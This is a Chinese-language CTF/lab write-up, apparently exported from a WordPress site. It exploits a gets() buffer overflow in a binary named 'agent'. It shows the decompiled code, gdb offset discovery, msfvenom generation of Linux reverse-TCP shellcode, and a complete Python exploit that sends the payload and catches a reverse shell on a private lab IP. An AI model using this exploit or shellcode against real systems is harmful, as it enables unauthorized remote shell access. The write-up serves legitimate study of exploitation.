int __cdecl main(int argc, const char **argv, const char **envp)\n{\n char *s2; \/\/ [esp+8h] [ebp-20h] BYREF\n char s[10]; \/\/ [esp+Eh] [ebp-1Ah] BYREF\n int v6; \/\/ [esp+18h] [ebp-10h]\n char v7; \/\/ [esp+1Fh] [ebp-9h]\n setbuf(stdout, 0);\n asprintf(&s2, \"%i\", 48093572);\n puts(\" ___ __ __ ___ \");\n puts(\" |_ _| \\\\\/ | __| Agent\");\n puts(\" | || |\\\\\/| | _| Reporting\");\n puts(\" |___|_| |_|_| System\\n\");\n printf(\"\\nAgent ID : \");\n if ( !fgets(s, 9, stdin) )\n return -1;\n if ( !strncmp(s, s2, 8u) )\n {\n do\n v7 = getchar();\n while ( v7 != 10 && v7 != -1 );\n puts(\"Login Validated \");\n v6 = menu();\n switch ( v6 )\n {\n case 1:\n extractionpoints();\n break;\n case 2:\n requestextraction();\n break;\n case 3:\n report();\n break;\n default:\n puts(\"Exiting...\");\n break;\n }\n return 0;\n }\n else\n {\n puts(\"Invalid Agent ID \");\n return -2;\n }\n}\nchar *report() #\u5b58\u5728\u4e00\u4e2a\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u6f0f\u6d1e\n{\n char s[152]; \/\/ [esp+4h] [ebp-A4h] BYREF\n char *v2; \/\/ [esp+9Ch] [ebp-Ch]\n\n printf(\"\\nEnter report update: \");\n gets(s);\n printf(\"Report: %s\\n\", s);\n puts(\"Submitted for review.\");\n v2 = s;\n return s;\n}<\/code><\/pre>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\ngdb agent\nr\nAgent ID : \u8f93\u5165 48093572 \nEnter selection: \u8f93\u5165 3\nEnter report update: \u8f93\u5165 \uff08\u6b64\u5904\u5b58\u5728\u7f13\u51b2\u533a\u6ea2\u51fa\uff09\"A\"*200\n\u7a0b\u5e8f\u62a5\u9519 \u663e\u793a\u6bb5\u9519\u8bef\neip \u88abA\u586b\u5145\n<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 200 \n\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -q 0x4136641\n\u5f97\u5230\u504f\u79fb\u503c 168<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\nobjdump -DS agent | less -p .text | grep -i call<\/p>\n\n\n\n
\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u7684\u64cd\u4f5c\u7801\u201cJMP EAX\u201d\u6216\u201cCALL EAX\u201d\uff0c\u6ce8\u610f\u5185\u5b58\u5730\u5740\u5e76\u4f7f\u7528\u8be5\u5730\u5740\u8986\u76d6 EIP<\/p>\n\n\n\n
objdump \u5de5\u5177\u6765\u67e5\u770b\u4e00\u4e2a\u540d\u4e3a \"agent\" \u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u6c47\u7f16\u4ee3\u7801\uff0c\u5e76\u901a\u8fc7\u7ba1\u9053 | \u5c06\u8f93\u51fa\u4f20\u9012\u7ed9 less \u547d\u4ee4\u6765\u8fdb\u884c\u5206\u9875\u67e5\u770b\nobjdump -DS agent\uff1a\u8fd9\u90e8\u5206\u547d\u4ee4\u4f7f\u7528 objdump \u5de5\u5177\u6765\u5bf9\u540d\u4e3a \"agent\" \u7684\u53ef\u6267\u884c\u6587\u4ef6\u8fdb\u884c\u53cd\u6c47\u7f16\uff0c\u5e76\u8f93\u51fa\u53cd\u6c47\u7f16\u540e\u7684\u6c47\u7f16\u4ee3\u7801\u3002\u53c2\u6570 -D \u8868\u793a\u8f93\u51fa\u6240\u6709\u8282\u7684\u5185\u5bb9\uff08\u5305\u62ec\u4ee3\u7801\u548c\u6570\u636e\uff09\uff0c\u53c2\u6570 -S \u8868\u793a\u540c\u65f6\u8f93\u51fa\u6e90\u4ee3\u7801\u548c\u53cd\u6c47\u7f16\u4ee3\u7801\u3002\n|\uff1a\u8fd9\u4e2a\u7b26\u53f7\u662f\u7ba1\u9053\u64cd\u4f5c\u7b26\uff0c\u7528\u6765\u5c06\u4e00\u4e2a\u547d\u4ee4\u7684\u8f93\u51fa\u4f20\u9012\u7ed9\u53e6\u4e00\u4e2a\u547d\u4ee4\u4f5c\u4e3a\u8f93\u5165\u3002\nless -p .text\uff1a\u8fd9\u90e8\u5206\u547d\u4ee4\u5c06 objdump \u7684\u8f93\u51fa\u4f20\u9012\u7ed9 less \u547d\u4ee4\uff0cless \u662f\u4e00\u4e2a\u7528\u4e8e\u67e5\u770b\u6587\u672c\u6587\u4ef6\u5185\u5bb9\u7684\u5de5\u5177\uff0c\u5e76\u4f7f\u7528 -p .text \u53c2\u6570\u8ba9 less \u5728\u6253\u5f00\u6587\u4ef6\u540e\u7acb\u5373\u8df3\u8f6c\u5230\u5305\u542b \".text\" \u7684\u90e8\u5206\uff0c\u5373\u7a0b\u5e8f\u7684\u4ee3\u7801\u6bb5\u3002\n\n 8048563 \u5b9e\u9645\u4e0a \u5e94\u8be5\u662f 08048563<\/code><\/pre>\n\n\n\n\u7528\u5c0f\u7aef\u65b9\u5f0f\u8868\u793a \\x63\\x85\\x04\\x08<\/p>\n\n\n\n
shellcode \u7684\u751f\u6210<\/p>\n\n\n\n
\u547d\u4ee4\u7684\u4f5c\u7528\u662f\u751f\u6210\u4e00\u4e2a\u80fd\u591f\u5728Linux\u7cfb\u7edf\u4e0a\u8fdb\u884c\u53cd\u5411\u8fde\u63a5\u7684shell\u7684Payload\uff0c\u5e76\u5c06\u751f\u6210\u7684Payload\u4ee5Python\u4ee3\u7801\u7684\u5f62\u5f0f\u8f93\u51fa\uff0c\u540c\u65f6\u6392\u9664\u4e86\u4e00\u4e9b\u7279\u5b9a\u7684\u5b57\u7b26<\/p>\n\n\n\n
msfvenom -p linux\/x86\/shell_reverse_tcp lhost=192.168.1.138 lport=5555 -f python -b \"\\x00\\x0a\\x0d\"\nbuf = b\"\" \nbuf += b\"\\xbf\\x36\\x24\\x01\\x95\\xdb\\xc3\\xd9\\x74\\x24\\xf4\\x58\" \nbuf += b\"\\x29\\xc9\\xb1\\x12\\x83\\xe8\\xfc\\x31\\x78\\x0e\\x03\\x4e\" \nbuf += b\"\\x2a\\xe3\\x60\\x9f\\xe9\\x14\\x69\\x8c\\x4e\\x88\\x04\\x30\" \nbuf += b\"\\xd8\\xcf\\x69\\x52\\x17\\x8f\\x19\\xc3\\x17\\xaf\\xd0\\x73\" \nbuf += b\"\\x1e\\xa9\\x13\\x1b\\x61\\xe1\\xe5\\x51\\x09\\xf0\\xe5\\x70\" \nbuf += b\"\\x79\\x7d\\x04\\xca\\x1b\\x2e\\x96\\x79\\x57\\xcd\\x91\\x9c\" \nbuf += b\"\\x5a\\x52\\xf3\\x36\\x0b\\x7c\\x87\\xae\\xbb\\xad\\x48\\x4c\" \nbuf += b\"\\x55\\x3b\\x75\\xc2\\xf6\\xb2\\x9b\\x52\\xf3\\x09\\xdb\" <\/code><\/pre>\n\n\n\n\u5199\u5229\u7528\u6587\u4ef6 pwn.py<\/p>\n\n\n\n
\u8c03\u8bd5\u5668\u5b58\u5728\u4e00\u4e9b\u7f3a\u9677\uff0c\u56e0\u6b64\u5728 gdb \u4e2d\u6709\u6548\u7684\u6f0f\u6d1e\u5728\u771f\u6b63\u7684 Linux shell \u4e2d\u53ef\u80fd\u4f1a\u5931\u8d25\u3002\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\u662f\u56e0\u4e3a\u73af\u5883\u53d8\u91cf\u548c\u5176\u4ed6\u7ec6\u8282\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5806\u6808\u7684\u4f4d\u7f6e\u53d1\u751f\u8f7b\u5fae\u53d8\u5316<\/p>\n\n\n\n
\u6b64\u95ee\u9898\u7684\u901a\u5e38\u89e3\u51b3\u65b9\u6848\u662f NOP Sled\u2014\u2014\u4e00\u957f\u4e32\u201c90\u201d\u5b57\u8282\uff0c\u5728\u5904\u7406\u65f6\u4e0d\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u5e76\u7ee7\u7eed\u6267\u884c\u4e0b\u4e00\u6761\u6307\u4ee4\u3002<\/p>\n\n\n\n
import socket\nimport time\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(('192.168.1.147', 7788))\nclient.recv(512)\nclient.send(bytes(\"48093572\\n\", 'utf-8'))\nclient.recv(512)\nclient.send(bytes(\"3\\n\",\"utf-8\"))\nclient.recv(512)\n\nbuf = b\"\"\nbuf += b\"\\xbf\\x36\\x24\\x01\\x95\\xdb\\xc3\\xd9\\x74\\x24\\xf4\\x58\"\nbuf += b\"\\x29\\xc9\\xb1\\x12\\x83\\xe8\\xfc\\x31\\x78\\x0e\\x03\\x4e\"\nbuf += b\"\\x2a\\xe3\\x60\\x9f\\xe9\\x14\\x69\\x8c\\x4e\\x88\\x04\\x30\"\nbuf += b\"\\xd8\\xcf\\x69\\x52\\x17\\x8f\\x19\\xc3\\x17\\xaf\\xd0\\x73\"\nbuf += b\"\\x1e\\xa9\\x13\\x1b\\x61\\xe1\\xe5\\x51\\x09\\xf0\\xe5\\x70\"\nbuf += b\"\\x79\\x7d\\x04\\xca\\x1b\\x2e\\x96\\x79\\x57\\xcd\\x91\\x9c\"\nbuf += b\"\\x5a\\x52\\xf3\\x36\\x0b\\x7c\\x87\\xae\\xbb\\xad\\x48\\x4c\"\nbuf += b\"\\x55\\x3b\\x75\\xc2\\xf6\\xb2\\x9b\\x52\\xf3\\x09\\xdb\"\neip=b'\\x63\\x85\\x04\\x08\"\na=b'\\x41'*(168-len(buf))\nb=b'\\x41'*(200-len(buf)-len(a)-len(eip))\nclient.send(buf+a+eip+b'\\n')\n<\/code><\/pre>\n\n\n\nnc -lvp 5555<\/p>\n\n\n\n
python3 pwn.py<\/p>\n","protected":false},"excerpt":{"rendered":"
pwn \u83b7\u5f97\u4e00\u4e2aagent \u4f7f\u7528scp agent user@192.168.1.138:\/tmp \u4e0b\u8f7d\u5230ka […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[16,32,58],"class_list":["post-354","post","type-post","status-publish","format-standard","hentry","category-target-aircraft","tag-pattern_offset-rb","tag-gdb","tag-pattern_create-rb"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=354"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/354\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=354"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"\"](\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225224-1024x403.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225609-1024x345.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-230117-1024x522.png\")
<\/div><\/figure>\n\n\n\n